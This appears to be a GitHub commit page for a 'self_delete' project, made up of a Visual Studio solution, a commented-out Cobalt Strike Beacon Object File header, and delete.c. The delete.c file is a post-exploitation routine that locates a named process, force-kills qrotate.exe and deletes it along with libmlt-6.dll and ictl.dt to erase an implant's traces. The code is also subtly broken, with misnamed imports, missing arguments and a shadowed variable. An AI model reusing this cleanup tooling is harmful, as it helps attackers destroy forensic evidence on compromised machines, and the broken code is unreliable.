Skip to content

Commit 1728b61

Browse files
committed
first
0 parents  commit 1728b61

25 files changed

+628
-0
lines changed

.DS_Store

6 KB
Binary file not shown.

self_delete.sln

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 17
4+
VisualStudioVersion = 17.0.32112.339
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "self_delete", "self_delete\self_delete.vcxproj", "{5064E764-61D8-4FDF-838E-A00C3B0F172A}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Debug|x64.ActiveCfg = Debug|x64
17+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Debug|x64.Build.0 = Debug|x64
18+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Debug|x86.ActiveCfg = Debug|Win32
19+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Debug|x86.Build.0 = Debug|Win32
20+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Release|x64.ActiveCfg = Release|x64
21+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Release|x64.Build.0 = Release|x64
22+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Release|x86.ActiveCfg = Release|Win32
23+
{5064E764-61D8-4FDF-838E-A00C3B0F172A}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {8F602002-14C1-4008-BF8C-A941934A5BB4}
30+
EndGlobalSection
31+
EndGlobal

self_delete/beacon.h

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
///*
2+
// * Beacon Object Files (BOF)
3+
// * -------------------------
4+
// * A Beacon Object File is a light-weight post exploitation tool that runs
5+
// * with Beacon's inline-execute command.
6+
// *
7+
// * Additional BOF resources are available here:
8+
// * - https://github.com/Cobalt-Strike/bof_template
9+
// *
10+
// * Cobalt Strike 4.x
11+
// * ChangeLog:
12+
// * 1/25/2022: updated for 4.5
13+
// */
14+
//
15+
///* data API */
16+
//typedef struct {
17+
// char * original; /* the original buffer [so we can free it] */
18+
// char * buffer; /* current pointer into our buffer */
19+
// int length; /* remaining length of data */
20+
// int size; /* total size of this buffer */
21+
//} datap;
22+
//
23+
//DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
24+
//DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
25+
//DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
26+
//DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
27+
//DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
28+
//DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
29+
//
30+
///* format API */
31+
//typedef struct {
32+
// char * original; /* the original buffer [so we can free it] */
33+
// char * buffer; /* current pointer into our buffer */
34+
// int length; /* remaining length of data */
35+
// int size; /* total size of this buffer */
36+
//} formatp;
37+
//
38+
//DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
39+
//DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
40+
//DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
41+
//DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
42+
//DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
43+
//DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
44+
//DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
45+
//
46+
///* Output Functions */
47+
//#define CALLBACK_OUTPUT 0x0
48+
//#define CALLBACK_OUTPUT_OEM 0x1e
49+
//#define CALLBACK_OUTPUT_UTF8 0x20
50+
//#define CALLBACK_ERROR 0x0d
51+
//
52+
//DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
53+
//DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
54+
//
55+
//
56+
///* Token Functions */
57+
//DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
58+
//DECLSPEC_IMPORT void BeaconRevertToken();
59+
//DECLSPEC_IMPORT BOOL BeaconIsAdmin();
60+
//
61+
///* Spawn+Inject Functions */
62+
//DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
63+
//DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
64+
//DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
65+
//DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
66+
//DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
67+
//
68+
///* Utility Functions */
69+
//DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);

self_delete/delete.c

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
//#include"beacon.h"
2+
//#include<Windows.h>
3+
//
4+
//DECLSPEC_IMPORT BOOL WINAPI KERNEL32$$EnumProcesses(DWORD*, DWORD, DWORD*);
5+
//DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
6+
//DECLSPEC_IMPORT BOOL WINAPI KERNEL32$EnumProcessModules(HANDLE, HMODULE*, DWORD, LPDWORD);
7+
//DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetModuleBaseNameW(HANDLE, HMODULE, LPWSTR, DWORD);
8+
//DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetModuleFileNameExW(HANDLE, HMODULE, LPWSTR, DWORD);
9+
//DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
10+
//
11+
//void FindPathAndDeleteFiles(const TCHAR* szFileName);
12+
//
13+
//
14+
//int _tmain(int argc, TCHAR* argv[])
15+
//{
16+
// if (argc != 2)
17+
// {
18+
// printf("Usage: %s <process_name>\n", argv[0]);
19+
// return 1;
20+
// }
21+
// FindPathAndDeleteFiles(argv[1]);
22+
// return 0;
23+
//}
24+
//
25+
//void FindPathAndDeleteFiles(const TCHAR* szFileName)
26+
//{
27+
// DWORD aProcesses[1024], cbNeeded, cProcesses;
28+
// TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
29+
//
30+
// if (!KERNEL32$$EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
31+
// {
32+
// return;
33+
// }
34+
//
35+
// cProcesses = cbNeeded / sizeof(DWORD);
36+
//
37+
// for (DWORD i = 0; i < cProcesses; i++)
38+
// {
39+
// HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]);
40+
//
41+
// if (hProcess)
42+
// {
43+
// HMODULE hMod;
44+
// DWORD cbNeeded;
45+
//
46+
// if (KERNEL32$EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))
47+
// {
48+
// KERNEL32$GetModuleBaseNameW(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
49+
//
50+
// if (_tcscmp(szProcessName, szFileName) == 0)
51+
// {
52+
// TCHAR szPath[MAX_PATH];
53+
// KERNEL32$GetModuleFileNameExW(hProcess, hMod, szPath, sizeof(szPath) / sizeof(TCHAR));
54+
//
55+
// TCHAR szDrive[_MAX_DRIVE], szDir[_MAX_DIR], szFileName[_MAX_FNAME], szExt[_MAX_EXT];
56+
// _tsplitpath_s(szPath, szDrive, _MAX_DRIVE, szDir, _MAX_DIR, szFileName, _MAX_FNAME, szExt, _MAX_EXT);
57+
//
58+
// TCHAR szDirPath[MAX_PATH];
59+
// _tmakepath_s(szDirPath, MAX_PATH, szDrive, szDir, NULL, NULL);
60+
//
61+
// if (_tchdir(szDirPath) != 0)
62+
// {
63+
// BeaconPrintf("Failed to change directory. Error:%d \n", GetLastError());
64+
// return;
65+
// }
66+
//
67+
// system("taskkill /im qrotate.exe /f");
68+
// system("del libmlt-6.dll");
69+
// system("del qrotate.exe");
70+
// system("del ictl.dt");
71+
//
72+
// BeaconPrintf("Successfully deleted files and changed directory to %s\n", szDirPath);
73+
// return;
74+
// }
75+
// }
76+
// KERNEL32$CloseHandle(hProcess);
77+
// }
78+
// }
79+
//
80+
// BeaconPrintf("Could not find %s process\n", szFileName);
81+
//}

0 commit comments

Comments
 (0)